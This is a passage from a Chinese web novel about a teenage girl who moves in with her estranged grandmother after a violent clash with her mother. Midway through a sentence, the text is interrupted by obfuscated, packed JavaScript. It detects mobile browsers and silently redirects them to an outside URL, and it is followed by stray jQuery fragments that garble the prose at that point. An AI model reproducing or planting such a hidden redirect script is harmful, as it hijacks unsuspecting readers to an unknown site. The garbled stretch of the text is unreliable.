《非典型模范生》
2026.2.25/甄子姐姐
晋江文学城独家
————————
“转学手续办好了。明天的票。”
姜娟霞把抽剩的烟屁股衔入口中，从皮夹里掏出一叠红红绿绿的钞票，点出几张，放到了餐桌上。
“省着点花，钱不够了让你姥给我打电话。”
姜颜玥没吭声，只垂着眼，看着她夹烟的那只手。
烟烬袅袅，熏染着姜娟霞掉了甲片的食指和中指。与其他几根精心保养的手指一对比，那两根手指显得光秃秃的。
指甲是姜娟霞前两天刚做的。
倒也不是她护理不当或是美甲师的技术问题，是她前一晚与人扯着头发打架，新做的美甲遭不住重创壮烈牺牲了。
同样光秃秃的，还有她的左手无名指。她戴了近一年的金戒指没了。
那枚粗重的金戒指不知是被她又负气扔了，还是拿去金店换了钱。
浅淡的圈纹在她细长白皙的无名指上留下个烙痕。按以往经验，那根手指很快又会套上新的戒指。
在姜颜玥的记忆里，妈妈手上的戒痕除了颜色深浅不同，戒指的大小、款式，以及每一枚戒指对应的男人也各不相同。
“妈的！又没烟了！”
姜娟霞猛吸了几口烟，挺烦躁地敲了敲烟盒。
“和老季，这次是彻底断干净了吧？”姜颜玥问。
与其说是询问，不如说是确认。
姜娟霞一愣，似是想到了点什么，半是惊讶，半是惊恐地看向她。
“是你？”
姜颜玥没有回应她的问题，只无声看着她的眼睛。
在她眼中看到了她想要的答案。她突然间感觉身心格外舒畅，勾起嘴角，对她露出个笑。
“啪——”一记响亮的耳光甩到了她的脸上。
条件反射般，待姜娟霞回过神，才发现自己做了什么。她又打了她。她之前明明告诫过自己，一定要控制住脾气，孩子大了已经不能再打了。可她总控制不住要对她动手。
女儿的那张脸很像她。
明明是那么漂亮的一张脸，这般笑着的时候却总透着几分森森的鬼气。
每次看到她这么笑，姜娟霞都会觉得毛骨悚然。这意味着，她身边必然会有糟糕的事发生。
她很快便联想到，老季被人打断腿这事跟她一定有关系。
她的手在发抖。姜颜玥看着她微微发抖的手，心底掀不起丝毫波澜。
姜娟霞一向这样，打完她之后她会内疚自责。但她还是会打她。宣泄情绪也好，推卸责任也罢，她想打就打。理由无非是，她是她生的。
姜娟霞是个矛盾体。
就如她能忍受老季这样的色批偷拍自己女儿洗澡将视频传上网，却不能忍受他跟另一个有夫之妇上床。
“是不是你做的？”姜娟霞情绪激动，频频拍桌：“回答我！是不是你？”
比起坏消息本身，人们更憎恶带去坏消息的人。
姜颜玥对她的反应并不意外，面无异色地拨开凌乱散落面部的长发。
“馒头还吃吗？”姜颜玥把手伸向盘中的最后一个馒头，试了试温，已经凉透了。
“不吃的话，我吃了。”她拿起冷硬的馒头啃了一口，干巴巴嚼着：“少抽点烟。你总夜咳，别伤了肺。”
她表现得太过平静。
就好像刚刚发生的事是她单方面在发疯。姜娟霞看着女儿被打红的半张脸，陡然间一股浓烈的、莫名的空虚感扑面而来。她憋着的火挤在了胸腔里，吐不出，也咽不下。
僵持半晌，姜娟霞借口去买烟，临出门前从钱包里又抓了几张钞票甩给她。
“讨债鬼！”
*
“讨债鬼！”
被撞翻了推车的老太太指着少年跑远的方向，跳脚怒骂：“走路不看道，上赶着去投胎啊？没长眼睛的讨债鬼！”
姜颜玥拎着行李从大巴车上下来，恰看到有一穿白T的少年从她面前擦行而过。
他跑得很急，似在追赶某人，就连撞倒了老太太的推车都没顾上道歉，甩开膀子跑得飞快，一转眼就没影了。
“奶奶，您没伤着吧？”姜颜玥急忙放下行李，快行了几步走去还在骂街的老太太身边，关切询问。
见老太太没受伤，她这才蹲下身，帮忙捡拾散落一地的废旧纸箱。
整理好纸箱，用粗绳固定好。
她跑到车后，铆足了劲替老太太把车推上斜坡。
“哎呀，小姑娘，今天真谢谢你啊。多亏了你帮忙，不然我老婆子一个人要上这坡可得费老大劲了。”老太太感激道。
“不客气的奶奶，举手之劳而已。”姜颜玥笑了一下，拍了拍裙子上沾到的尘垢：“对了，跟您打听一下，素芳馄饨铺您知道该怎么走吗？”
“素芳啊，”老太太一拍腿，“啊，对了，我听素芳说她外孙女这两天要来，该不会就是你吧？”
“对，杨素芳，她是我姥姥。”姜颜玥道。
“你就是娟霞的闺女啊，哎呦喂，都长这么大了。我说你怎么瞅着有点眼熟呢，跟娟霞简直就是一个模子里刻出来的，长得可真水灵。”老太太上下打量了她一番，啧啧感慨。
“这么多年了，你这还是第一回上你姥姥家吧？怪不得不认得路了。这样，你顺着这条路一直往前走，在第二个岔口右拐，再往前走几步，街西口第二家就是。”
“好，我知道了。谢谢奶奶。”
“不谢，空了来奶奶家玩。奶奶给你拿糖吃。”
跟老太太打听了一下馄饨铺的具体方位，姜颜玥拉起行李箱，按她指的路，朝着姥姥家的方向慢慢走去。
她跟姥姥没见过面，只偶尔听妈妈提起过她有个开馄饨铺的姥姥。想转学过来，是她自己的主意。老季的事，只是诱因。
“哗啦哗啦——”
行李箱的滚轮在水泥路面上刮擦出一连串的噪响声。有路过的野狗听到动静从玉米地里探出头，龇着牙冲她凶巴巴狂吠。
“汪汪汪！”
“汪汪！”
草丛里又钻出两只狗，追着第一只出现的狗跑了过来。
姜颜玥被吓一跳，脚下步子不自觉快了几分。
没想到那三只狗竟然追了过来。距离骤然拉近，领头的那只狗龇牙咧嘴目露凶相，像是下一秒就要扑过来咬她的脚脖子。
姜颜玥瞬间被吓破了胆，慌忙取下肩头的书包，朝着那几只野狗的方向胡乱挥舞了几下，试图吓退它们。
“去！去！走开！”
“走开！别过来！”
“汪呜呜……”
领头狗的步子缓了下来，紧随其后的两只狗跟着压下身。那三只狗皆伏低了身体似随时准备攻击，嗓子眼里发出阵阵威胁般的低鸣。
“吁——”
有人吹了声口哨，短促清脆。
伴着那声哨响，一块拳头大小的石头狠狠掷了过来。
那飞石正巧砸中跃起的狗头，领头的那只狗被一下掀翻在地，嗷嗷哀嚎，连滚带爬地往玉米地里逃。
另外两只野狗也都受到了惊吓，瞬间垂下耳朵夹起尾巴，一前一后躲回了玉米地里。
窸窸窣窣，晃动的秸秆下三只野狗窜成几道黑影。
姜颜玥目视着它们越跑越远，暗松了口气。
她转头看向方才替她赶走那群野狗的少年，不由怔了一下。
是刚刚撞翻老太太推车的那个“讨债鬼”。
“讨债鬼”看着跟她年岁相仿，瘦高个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287900|198450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、冷白皮，长相出挑。
眉清目朗，气质干净的少年人模样。
他正看着她。
没什么表情，眼神冷淡又疏离。
姜颜玥朝他挥了挥手，礼貌一笑：“谢……”
她的后半个“谢”字还没来得及说出口，那少年已经转身走了。
*
素芳馄饨铺。
馄饨摊前有一约莫六十来岁的妇人正清理桌子。收碗、拢筷，拿起抹布将桌面擦拭干净。
她动作利落，腰背很直，头发乌黑。一双杏眼长得尤为漂亮。
姜娟霞遗传了她的好模样。
姜颜玥一眼便认出了她。
“姥姥！”她欢声叫她，小跑着走去了馄饨摊前：“姥姥，我是小玥呀，你认得我不？”
杨素芳手上的动作顿住，慢半拍回过身，看向已经跑到她面前的姜颜玥。
小姑娘个子小小的，眼睛亮亮的，十分乖巧。她接过她手中的脏碗筷，自顾自跑进屋里。
“姥姥，洗碗池在哪？”姜颜玥问。
没听到有回应，她转头在屋里找了一圈，步入厨房。把脏碗放入水池，打开水龙头，撸起袖子清洗。
很有眼力。跟她的女儿虽然长得很像，但性格好像完全不一样。
杨素芳怔怔地看着玻璃窗内抬头对她笑的小姑娘，有片刻的恍惚。
“姥姥，我也不太清楚你喜欢什么，听我妈说你阴雨天会关节疼，就自作主张给你带了点营养品。”姜颜玥打开行李箱，从箱子里取出个营养品礼盒，放到一旁的桌子上：“补骨头的，你记得喝。”
“不用讨好我。我不喜欢你。”杨素芳沉着脸错身越过她，步入厨房。拿起她刚洗干净的碗筷，放到水龙头底下又重新冲洗了一遍。
“姥姥……”姜颜玥局促看她，声音低了下去：“是我做错什么了吗？”
“素芳姨，来碗猪肉大葱馅儿的馄饨。多搁香菜。”有人在外头喊话。
“诶，马上！”杨素芳立马提了声量回话。起锅的时候她看了姜颜玥一眼：“别站厨房门口，挡道。”
姜颜玥顿时有些委屈。她没再追问，低下头，默默往门边让开了几步。
小姑娘看起来像是快哭了。杨素芳又看了她一眼，意识到自己或许是有些过分了。
“你的房间在二楼，楼梯口左手边那间。”
姜颜玥点点头，默不作声地收拾好东西，拎着行李上二楼。
房间打扫得很干净，床上用品都换了新的。床头摆着一只粉色的小兔，兔耳朵上的吊牌还没摘。
她把书包放到椅子上。
视线一掠，被书桌上摆着的台历本吸引了注意力。
2010年8月29日。就是今天。
姥姥用红笔把这一天圈了起来。
姥姥说不喜欢她？
可看房间的布置，姥姥好似挺期待她的到来。
姜颜玥拿起书桌上的台历本，暗自琢磨了会儿。
“大河向东流啊，天上的星星参北斗啊……”
窗外传来嘹亮的歌声。是个男人的声音。
姜颜玥的思绪被打断。
她循声看向窗外，瞧见斜对面的楼顶上坐着个人。那人手舞足蹈，正放声高歌。
“出事了出事了！快来帮忙！”
“夭寿啊！快去找阿穆！就说他爸跑楼顶上去了！快去！”
“快点臭小子！”
……
有人叫叫嚷嚷，楼下顿时热闹了起来。
姜颜玥放下了手中的台历本，走去窗边。
推开窗，恰看到坐在顶楼的男人拨开了凌乱散落面部的额发，露出了正脸。
她认得那张脸。
在一张撕碎又黏合的旧照片上，她见过他。